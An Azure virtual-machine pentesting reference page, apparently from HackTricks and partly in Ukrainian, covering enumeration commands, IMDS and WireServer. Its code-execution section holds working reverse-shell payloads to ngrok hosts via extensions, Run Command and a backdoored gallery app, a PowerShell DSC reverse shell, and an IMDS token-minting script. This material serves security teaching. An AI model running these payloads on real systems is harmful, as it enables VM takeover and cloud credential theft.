Az - Virtual Machines & Network

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Azure Networking Basic Info

Azure networks contains different entities and ways to configure it. You can find a brief descriptions, examples and enumeration commands of the different Azure network entities in:

Az - Azure Network

VMs Basic information

Azure Virtual Machines (VMs) are flexible, on-demand cloud-based servers that let you run Windows or Linux operating systems. They allow you to deploy applications and workloads without managing physical hardware. Azure VMs can be configured with various CPU, memory, and storage options to meet specific needs and integrate with Azure services like virtual networks, storage, and security tools.

Security Configurations

  • Availability Zones: Availability zones are distinct groups of datacenters within a specific Azure region which are physically separated to minimize the risk of multiple zones being affected by local outages or disasters.
  • Security Type:
  • Standard Security: This is the default security type that does not require any specific configuration.
  • Trusted Launch: This security type enhances protection against boot kits and kernel-level malware by using Secure Boot and Virtual Trusted Platform Module (vTPM).
  • Confidential VMs: On top of a trusted launch, it offers hardware-based isolation between the VM, hypervisor and host management, improves the disk encryption and more.
  • Authentication: By default a new SSH key is generated, although it’s possible to use a public key or use a previous key and the username by default is azureuser. It’s also possible to configure to use a password.
  • VM disk encryption: The disk is encrypted at rest by default using a platform managed key.
  • It’s also possible to enable Encryption at host, where the data will be encrypted in the host before sending it to the storage service, ensuring an end-to-end encryption between the host and the storage service (docs).
  • NIC network security group:
  • None: Basically opens every port
  • Basic: Allows to easily open the inbound ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
  • Advanced: Select a security group
  • Backup: It’s possible to enable Standard backup (one a day) and Enhanced (multiple per day)
  • Patch orchestration options: This enable to automatically apply patches in the VMs according to the selected policy as described in the docs.
  • Alerts: It’s possible to automatically get alerts by email or mobile app when something happen in the VM. Default rules:
  • Percentage CPU is greater than 80%
  • Available Memory Bytes is less than 1GB
  • Data Disks IOPS Consumed Percentage is greater than 95%
  • OS IOPS Consumed Percentage is greater than 95%
  • Network in Total is greater than 500GB
  • Network Out Total is greater than 200GB
  • VmAvailabilityMetric is less than 1
  • Heath monitor: By default check protocol HTTP in port 80
  • Locks: It allows to lock a VM so it can only be read (ReadOnly lock) or it can be read and updated but not deleted (CanNotDelete lock).
  • Most VM related resources also support locks like disks, snapshots…
  • Locks can also be applied at resource group and subscription levels

Disks & snapshots

  • It’s possible to enable to attach a disk to 2 or more VMs
  • By default every disk is encrypted with a platform key.
  • Same in snapshots
  • By default it’s possible to share the disk from all networks, but it can also be restricted to only certain private access or to completely disable public and private access.
  • Same in snapshots
  • It’s possible to generate a SAS URI (of max 60days) to export the disk, which can be configured to require authentication or not
  • Same in snapshots
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>

VM image — це шаблон, який містить операційну систему, налаштування застосунків і файлову систему, потрібні для створення нової virtual machine (VM). Різниця між image і disk snapshot полягає в тому, що disk snapshot — це read-only, point-in-time копія одного managed disk, що використовується переважно для backup або troubleshooting, тоді як image може містити кілька дисків і призначений слугувати шаблоном для створення нових VMs.
Images можна керувати в Images section Azure або всередині Azure compute galleries, що дозволяє створювати versions і share image між tenants або навіть зробити його public.

restore point зберігає конфігурацію VM і point-in-time application-consistent snapshots of all the managed disks, приєднаних до VM. Він пов’язаний із VM, і його мета — мати змогу відновити цю VM до стану в конкретний момент часу.

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

Azure Site Recovery

Згідно з docs: Site Recovery допомагає забезпечити business continuity, зберігаючи бізнес-додатки та workloads у робочому стані під час збоїв. Site Recovery реплікує workloads, що працюють на physical and virtual machines (VMs), з primary site до secondary location. Коли на primary site стається збій, ви виконуєте fail over до secondary location і отримуєте доступ до додатків звідти. Після того як primary location знову запрацює, ви можете виконати fail back до нього.

Azure Bastion

Azure Bastion забезпечує безпечний і безшовний доступ Remote Desktop Protocol (RDP) та Secure Shell (SSH) до ваших virtual machines (VMs) безпосередньо через Azure Portal або через jump box. Це досягається шляхом усунення потреби в public IP addresses для ваших VMs.

Bastion розгортає subnet під назвою AzureBastionSubnet з маскою /26 у VNet, на якому він має працювати. Потім він дозволяє підключатися до internal VMs через browser за допомогою RDP і SSH, уникаючи відкриття портів VMs в Internet. Також він може працювати як jump host.

Щоб перелічити всі Azure Bastion Hosts у вашій subscription і підключатися через них до VMs, можна використати такі команди:

# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>

Metadata

Azure Instance Metadata Service (IMDS) надає інформацію про запущені virtual machine instances для допомоги в їхньому керуванні та конфігурації. Він надає такі відомості, як SKU, storage, network configurations, а також інформацію про майбутні maintenance events через REST API, доступний за нерутованою IP address 169.254.169.254, до якого можна звертатися лише зсередини VM. Зв’язок між VM та IMDS відбувається всередині host, що забезпечує безпечний доступ. Під час запитів до IMDS HTTP clients усередині VM мають обходити web proxies, щоб забезпечити коректний зв’язок.

Крім того, щоб звернутися до metadata endpoint, HTTP request повинен містити header Metadata: true і не повинен містити header X-Forwarded-For.

Під час запиту access token до metadata endpoint за замовчуванням metadata service використовуватиме system assigned managed identity для генерації token, якщо така system assigned managed identity існує. Якщо є лише ONE user assigned managed identity, тоді за замовчуванням буде використано її. Однак якщо system assigned managed identity немає і є multiple user assigned managed identities, тоді metadata service поверне error із вказівкою, що є multiple managed identities і потрібно specify which one to use.

Перевірте, як enumerate it у:

Cloud SSRF - HackTricks

VM Enumeration

# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table

Code Execution in VMs

VM Extensions

Azure VM extensions are small applications that provide post-deployment configuration and automation tasks on Azure virtual machines (VMs).

Це дозволяє виконувати довільний code inside VMs.

Потрібний permission — Microsoft.Compute/virtualMachines/extensions/write.

Можна перелічити всі доступні extensions за допомогою:

# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

Можливо запускати custom extensions, що виконують custom code:

  • Execute a revers shell
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • Виконайте script, розташований в internet
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

Відповідні VM extensions

Потрібний permission все ще Microsoft.Compute/virtualMachines/extensions/write.

VMAccess extension

Це extension дозволяє змінювати password (або створювати його, якщо його не існує) користувачів всередині Windows VMs.

# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)

Це VM extension від Microsoft, який використовує PowerShell DSC для керування конфігурацією Azure Windows VMs. Тому його можна використати, щоб виконувати довільні команди у Windows VMs через цей extension:

# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker

Це VM extension, яка дозволяє виконувати runbooks у VMs з automation account. Для отримання додаткової інформації див. Automation Accounts service.

VM Applications

Це пакети з усіма application data та install and uninstall scripts, які можна використовувати для простого додавання та видалення application у VMs.

# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

Це шляхи, куди applications завантажуються всередині file system:

  • Linux: /var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
  • Windows: C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>

Перевір, як встановлювати нові applications у https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli

Caution

Можливо ділитися окремими apps і galleries з іншими subscriptions або tenants. Це дуже цікаво, бо може дозволити attacker backdoor application і pivot до інших subscriptions і tenants.

Але для vm apps нема “marketplace”, як для extensions.

Потрібні permissions:

  • Microsoft.Compute/galleries/applications/write
  • Microsoft.Compute/galleries/applications/versions/write
  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.Compute/disks/write

Приклад exploitation для виконання arbitrary commands:

# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

User data

Це persistent data, яку можна отримати з metadata endpoint у будь-який час. Зверніть увагу, в Azure user data відрізняється від AWS і GCP, тому що якщо ви помістите тут script, він не виконується за замовчуванням.

Custom data

Можна передати деякі data до VM, які будуть збережені у expected paths:

  • У Windows custom data розміщується в %SYSTEMDRIVE%\AzureData\CustomData.bin як binary file і не обробляється.
  • У Linux вона зберігалася в /var/lib/waagent/ovf-env.xml, а тепер зберігається в /var/lib/waagent/CustomData/ovf-env.xml
  • Linux agent: Він не обробляє custom data за замовчуванням, потрібен custom image із увімкненими data
  • cloud-init: За замовчуванням він обробляє custom data, і ці data можуть бути у several formats. Він може легко виконати script, якщо просто передати script у custom data.
  • Я перевірив, що і Ubuntu, і Debian виконують script, який ви сюди вставите.
  • Також не потрібно вмикати user data, щоб це було виконано.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt

Run Command

Це найпростіший механізм, який Azure надає для виконання довільних команд у VMs. Потрібний дозвіл — Microsoft.Compute/virtualMachines/runCommand/action.

# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Azure WireServer & GoalState

Azure VMs expose internal platform endpoints that are used for configuration, metadata retrieval and identity management. Understanding the difference between them is critical for enumeration, privilege escalation and post-exploitation.

Wire Server (Azure Fabric Endpoint)

Azure WireServer — це внутрішня IP-адреса Azure (168.63.129.16), яку platform використовує для communication з VM.

Він відповідає за:

  • Communication з VM Agent
  • Delivering:
  • GoalState
  • ExtensionsConfig
  • Internal VM configuration (including identities)
  • DHCP & DNS services
  • Health monitoring

GoalState & ExtensionsConfig

GoalState представляє бажану configuration VM, як визначено Azure. Вона може містити:

  • Extensions configuration
  • Managed identities
  • Provisioning state
  • Agent instructions

ExtensionsConfig містить детальну configuration VM extensions і може включати:

  • User Assigned Managed Identities
  • Extension settings
  • Secrets (залежно від extension)

До цих endpoints зазвичай звертаються через:

curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate

Access considerations

WireServer IP generally reachable from inside the VM through the guest network stack. It is not restricted only to the Azure VM Agent, Run Command, or VM extensions. Microsoft even documents agentless Linux provisioning examples where ordinary in-guest scripts query GoalState directly from 168.63.129.16.

However, not every process will necessarily get the same practical result:

  • Some endpoints require Azure-specific headers, such as x-ms-version: 2012-11-30 for GoalState.
  • Local guest controls can block or alter access, including host firewall rules, proxies, routes, network namespaces, containers, or endpoint protection.
  • VM extensions and Run Command commonly execute as root/SYSTEM through the VM Agent, so they may bypass local OS restrictions that affect an interactive user.
  • Some data is agent/extension-specific and may depend on the VM’s provisioning state, installed agent, configured extensions, or managed identity configuration.

Therefore, if a request works from Run Command but fails from SSH, the usual explanation is a difference in OS user, environment, routing, proxy, firewall, or namespace, not a general Azure rule that only agent execution contexts can reach 168.63.129.16.

In lab testing this distinction was visible: Linux/Windows VM Agent execution through Run Command or Custom Script extensions could reach GoalState on 168.63.129.16, while a normal SSH session on another Linux VM could still reach IMDS but timed out when querying GoalState. Treat WireServer/GoalState as useful but environment-dependent; do not rely on it as the canonical way to enumerate managed identities.

Managed Identity Access From Inside the VM

The reliable way to use a VM’s managed identities is the IMDS managed identity endpoint at 169.254.169.254, not the WireServer ExtensionsConfig XML. Scripts that only search ExtensionsConfig for UserAssignedIdentity nodes are not reliable because:

  • The VM’s managed identity assignment is not guaranteed to be represented as UserAssignedIdentity nodes in extension XML.
  • They miss system-assigned managed identities.
  • They only find user-assigned identities if the current GoalState/extension data happens to expose the expected XML shape.

Microsoft’s documented security model is that all code running on the VM can request tokens for the managed identities available on that VM. This was confirmed from:

  • Linux SSH as a regular VM user.
  • Linux Run Command through the VM Agent.
  • Linux Custom Script extension through the VM Agent.
  • Windows Custom Script extension as NT AUTHORITY\SYSTEM.

In all of those contexts, IMDS could mint tokens for Management, Microsoft Graph/Entra ID, Key Vault, and Storage when the requested identity was available to the VM.

There are two different problems that are easy to mix up:

  • Getting a token for a known identity: If the identity is assigned to the VM, IMDS can issue tokens for different audiences such as https://management.azure.com/, https://graph.microsoft.com/, https://vault.azure.net, and https://storage.azure.com/. If several user-assigned identities exist, request a specific one with client_id, object_id, or msi_res_id.
  • Discovering every attached identity from inside the VM: IMDS does not provide a simple “list all identities” endpoint. A practical method is to get a default Management token, read the VM resource through ARM, and inspect the identity property. This only works if that managed identity has permissions such as Microsoft.Compute/virtualMachines/read on the VM. If ARM returns 403, the token can still be valid and useful, but it cannot enumerate the VM’s full identity list.

If ARM discovery fails, you can still try WireServer/HostGAPlugin sources such as GoalState and http://168.63.129.16:32526/vmSettings to look for identity-looking fields (clientId, IdentityClientId, msi_res_id, user-assigned identity resource IDs) and then ask IMDS for tokens with those selectors. This is a fallback, not a guarantee: those endpoints are context-dependent and may expose no managed identity selectors at all.

The following examples first request a token. Then they try to read the VM resource from Azure Resource Manager and print its identity property. The second step only works if the managed identity has permissions such as Microsoft.Compute/virtualMachines/read on the VM.

#!/usr/bin/env bash
set -euo pipefail

imds="http://169.254.169.254/metadata"
api_version="2021-02-01"
resource="${1:-https://management.azure.com/}"

# Optional. Examples:
#   export MSI_SELECTOR='client_id=<client-id>'
#   export MSI_SELECTOR='object_id=<principal-id>'
#   export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name'
selector="${MSI_SELECTOR:-}"

urlencode() {
python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1"
}

token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")"
if [[ -n "$selector" ]]; then
token_url="$token_url&$selector"
fi

echo "[*] Requesting managed identity token for: $resource"
token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")"

access_token="$(
TOKEN_JSON="$token_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["TOKEN_JSON"])["access_token"])
PY
)"

TOKEN="$access_token" python3 - <<'PY'
import base64, json, os

token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))

print("[+] Token acquired")
for key in ("tid", "appid", "oid", "xms_mirid"):
if key in claims:
print(f"    {key}: {claims[key]}")
PY

echo "[*] Trying to read the VM identity property through ARM..."
compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")"
vm_id="$(
COMPUTE_JSON="$compute_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"])
PY
)"

arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01"
if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then
VM_JSON="$vm_json" python3 - <<'PY'
import json, os
vm = json.loads(os.environ["VM_JSON"])
print(json.dumps(vm.get("identity", {}), indent=2))
PY
else
echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
fi

Privilege Escalation

Az - Virtual Machines & Network Privesc

Unauthenticated Access

Az - VMs Unauth

Post Exploitation

Az - VMs & Network Post Exploitation

Persistence

Az - VMs Persistence

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks